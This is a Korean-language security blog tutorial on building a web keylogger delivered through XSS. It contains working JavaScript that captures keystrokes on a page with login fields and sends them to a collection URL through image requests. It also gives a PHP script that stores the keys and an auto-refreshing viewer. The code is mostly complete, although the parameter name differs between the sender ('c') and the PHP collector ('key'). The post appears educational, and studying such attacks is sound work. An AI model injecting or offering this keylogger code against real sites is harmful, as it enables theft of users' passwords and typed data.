Keylogger의 원리
전통적인 Keylogger는 OS나 사용자 프로그램에 삽입되어 사용자가 입력하는 키 값을 후킹하여 가로채 PC에 저장하거나 원격지로 전송합니다. 요즘 시대에는 Web이 많이 사용되고 있고, 앞으로도 Web은 죽지않을 것이기 때문에 이런 웹을 이용한 Keylogger 도 조심해야할 판입니다.OS단 Keylogger 와는 다르게 우리는 Hooking을 할 필요가 없습니다. 웹 브라우저에서 오는 입력을 Event Handler로 받아낼 수 있으니깐요 :)
자 크게 그림을 보면 이런 느낌이겠네요. XSS(Keylog)가 삽입된 페이지에 사용자가 접근하여 키보드를 누를 때 onkeypress 등등 여러가지 keyboard event가 발생합니다. 이 발생한 값에는 입력한 키보드 값이 존재하며 이를 원격지 서버로 전송만해주면 됩니다.
(onkeypress는 xss 공격 자체에도 쓰이고, 웹에서 enter 키 누르면 검색되게 하는데 그 부분에도 사용되지요)
Keylogger XSS 만들기(./vuln.html : Client : HTML)
자 이제 onkeypree를 이용해서 간단한 코드를 만들어보겠습니다.가상으로 XSS가 삽입된 페이지처럼 <script> 태그를 넣어놨습니다.
여기에 onkeypress를 받으면 buffer에 입력된 값을 넣는 코드를 작성합니다.
(enter는 보기편하라고 해놓았습니다.)
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='
document.onkeypress = function(e) {
이제 서버로 전송하는 부분만 만들면 됩니다. img 태그를 이용하면 어렵지 않게 전송이 가능하겠죠.(img 태그의 src 부분은 이미지의 주소를 의미하며 이미지던, txt 던 파일이 없던 무조건 접근합니다.
따라서 웹 서버는 그 로그값을 받아 처리하면 되지요)
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(buffer);
new Image().src = attacker + data;
buffer = "";
}
}, 200);
자 정말 간단하네요. 여기까지 보면 사용자의 key 입력을 받아서 지정한 서버 페이지(proc.php)로 전송하는 코드가 작성되었습니다. Full Code로 보면 아래와 같네요.vuln.html
<html><body>
<h1>TEST PAGE</h1>
<hr>
<table border=1><tr><td>
ID: <input type=text>
PASSWD: <input type=text>
<input type=submit value="Send">
</td></tr></table>
<script>
// Insert XSS zzz
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='
document.onkeypress = function(e) {
buffer = e.key;
if(buffer == "Enter")
{
buffer = " --> [Enter]\n"
}
}
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(buffer);
new Image().src = attacker + data;
buffer = "";
}
}, 200);
</script></body></html>
Keylogger Server 만들기(./proc.php : Server : PHP)
사실 위에 Javascript 로 만든 XSS코드가 전부입니다. 여기는 그냥 src로 넘어온 값을 받아서 처리(저장/사용)하는 구문만 만들면되지요. 아까 JS코드에서 사용자 키 입력을 넘기는 파라미터는 key 파라미터였습니다.아래와 같이 c 파라미터를 받아서 txt 파일에 저장하는 코드를 작성합니다.
<?php
if(!empty($_GET['key'])) {
$logfile = fopen('./data.txt', 'a+');
fwrite($logfile, $_GET['key']);
fclose($logfile);
}
?>
data.txt 파일을 읽어보면..#> cat data.txt
test --> [Enter]
www.hahwul.com --> [Enter]
Keylogger Viewer 만들기(./index.html : Server : HTML)
proc.php 까지 해도 keylogger는 완성되었지만 우리는 좀 더 편하게 볼 수 있기를 원합니다.간단하게 HTML로 Viewer를 작성해봅니다.
<html>
<body>
<iframe name="log" src="./data.txt" width="100%" height="100%"></iframe>
<script>
function refresh()
{
parent.log.location.href="./data.txt";
setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>
iframe으로 아까 만든 txt를 읽어오고 1초(setTimeout의 1000) 단위로 갱신하여서 나름 실시간으로 받는 것 처럼 만들어줍니다.정말 심플하죠 :)
Run!
이제 XSS 코드를 심어놓은 vuln.html 에서 키 입력을 해봅시다. 그러면 proc를 통해 txt 파일에 데이터가 작성되고 viewer(index.php)에서 해당 파일을 읽게 되지요. 간단하게 영상으로 꾸며봤습니다.HAHWULSecurity engineer, Gopher and H4cker! |
0 개의 댓글:
Post a Comment